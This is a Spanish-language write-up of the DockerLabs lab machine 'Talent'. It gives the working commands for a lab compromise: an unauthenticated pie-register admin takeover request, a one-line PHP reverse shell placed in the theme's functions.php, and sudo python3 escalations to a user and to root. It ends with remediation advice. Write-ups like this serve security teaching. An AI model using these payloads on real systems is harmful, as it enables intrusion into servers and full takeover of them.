Ir al contenido

Talent

Este documento presenta la resolución completa de la máquina Talent, desarrollada por El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media. El laboratorio expone una instancia de WordPress con el plugin pie-register instalado. Dicho plugin presenta una vulnerabilidad conocida que permite la escalada de privilegios sin autenticación, obteniendo así acceso como administrador del sitio. Una vez dentro del panel de administración de WordPress, se edita el archivo functions.php del tema activo para incluir una reverse shell, logrando ejecución remota de comandos como el usuario www-data. Tras el acceso inicial, se identifica que www-data puede ejecutar python3 como el usuario bobby mediante sudo. Esto permite obtener una shell como bobby. Finalmente, se descubre que el directorio /opt tiene permisos de escritura para otros usuarios, lo que permite modificar el script /opt/backup.py (ejecutable como root mediante sudo) para obtener una shell con privilegios de superusuario. Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.


AtributoValor
NombreTalent
AutorEl Pingüino de Mario
DificultadMedio
Fecha28/02/2026
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Talent.zip
sudo bash auto_deploy.sh Talent.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

IP asignada

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

Ventana de terminal
mkdir -p Talent/{content,exploits,nmap,scripts}
cd Talent

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra los siguientes servicios accesibles externamente:

  • 80/tcp — HTTP

Puertos abiertos


Se procede a realizar fuzzing de rutas y archivos:

Ventana de terminal
feroxbuster -u http://172.17.0.2 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

Se encuentran archivos pertenecientes a una instancia de WordPress:

  • Index.php: contiene un blog simple. content of blog

Una vez que conocemos que se trata de WordPress, procedemos a enumerar con wpscan:

Ventana de terminal
wpscan --url http://172.17.0.2 --enumerate u,vp
  • Usuarios encontrados: admin result of scan

  • Plugins encontrados: pie-register plugin find

Aquí ya tenemos un vector de ataque, ya que el plugin contiene múltiples vulnerabilidades.


Lo primero que hacemos es revisar exploitdb:

Ventana de terminal
searchsploit wordpress pie-register

Esto nos da el siguiente resultado: result of searchsploit

Encontramos una vulnerabilidad de tipo Admin Privilege Escalation (Unauthenticated), que es muy fácil de explotar. Solo debemos hacer la siguiente petición:

Ventana de terminal
wget -q -S -O - http://172.17.0.2 --post-data 'user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null' > /dev/null

Esta nos devuelve las cookies del usuario administrador: cookies of user administrator

Guardamos estas cookies en nuestro navegador y recargamos la página. Después de esto, podemos observar el panel de administración de WordPress: admin dashboard

Desde aquí, nos dirigimos a Tools → Theme File Editor. En el primer tema que aparezca, editamos el archivo functions.php agregando una reverse shell. En mi caso, la única que me funcionó fue esta, ya que las demás se desconectaban automáticamente:

$s=fsockopen("172.17.0.1",443);proc_open("/bin/bash",[$s,$s,$s],$p);

add code

Activamos nuestro listener nc -nlvp 443 y accedemos en el navegador a la siguiente URL:

http://172.17.0.2/wp-content/themes/twentytwentyfive/functions.php

Al observar nuestro listener, tenemos la reverse shell establecida: reverseshell

Solo falta normalizar la terminal.


Revisamos los permisos con sudo -l: result of sudo -l

Esto nos indica que podemos ejecutar python3 como el usuario bobby. Procedemos a ejecutar el siguiente comando:

Ventana de terminal
sudo -u bobby python3 -c 'import os; os.system("/bin/bash")'

Y obtenemos acceso como el usuario bobby: user bobby

Lo primero que hacemos es revisar los permisos con sudo -l: sudo -l

Esto nos indica que podemos ejecutar el binario /opt/backup.py con python3. Revisamos los permisos del directorio /opt:

drwxr-xrwx 1 root root 4096 Feb 28 14:34 opt

Observamos que el directorio tiene permisos de escritura para otros usuarios. Esto nos permite modificar el script para escribir nuestro código arbitrario:

/opt/backup.py
import os
os.system('/bin/bash')

Guardamos el archivo y ejecutamos:

Ventana de terminal
sudo python3 /opt/backup.py

Y obtenemos privilegios de administrador: root


VulnerabilidadSeveridadImpacto
Plugin pie-register desactualizado con vulnerabilidad conocidaCríticaEscalada de privilegios sin autenticación a administrador de WordPress
Edición de archivos de tema desde panel de administradorAltaPermite inyectar código malicioso (reverse shell)
Permiso sudo para python3 como usuario bobby sin restriccionesAltaEscalada lateral de www-data a bobby
Directorio /opt con permisos drwxr-xrwx (escritura para otros)CríticaPermite modificar /opt/backup.py y ejecutar código arbitrario como root
Script /opt/backup.py ejecutable como root mediante sudoCríticaCompromiso total del sistema tras modificar el script

  • Mantener todos los plugins de WordPress actualizados y eliminar aquellos que no estén en uso. Revisar periódicamente vulnerabilidades conocidas.
  • Restringir el acceso al editor de temas y plugins en WordPress para usuarios no administradores, o deshabilitarlo completamente en producción.
  • Revisar y endurecer las configuraciones de sudo: evitar conceder permisos para intérpretes como python3 sin restricciones. Especificar scripts concretos y rutas absolutas.
  • Aplicar permisos estrictos en directorios del sistema: /opt no debería tener permisos de escritura para otros usuarios (chmod 755 /opt).
  • Proteger los scripts ejecutables con sudo asegurándose de que no sean modificables por usuarios no privilegiados (propietario root, permisos 755 o 750).
  • Implementar un sistema de logs y monitorización para detectar modificaciones no autorizadas en archivos críticos.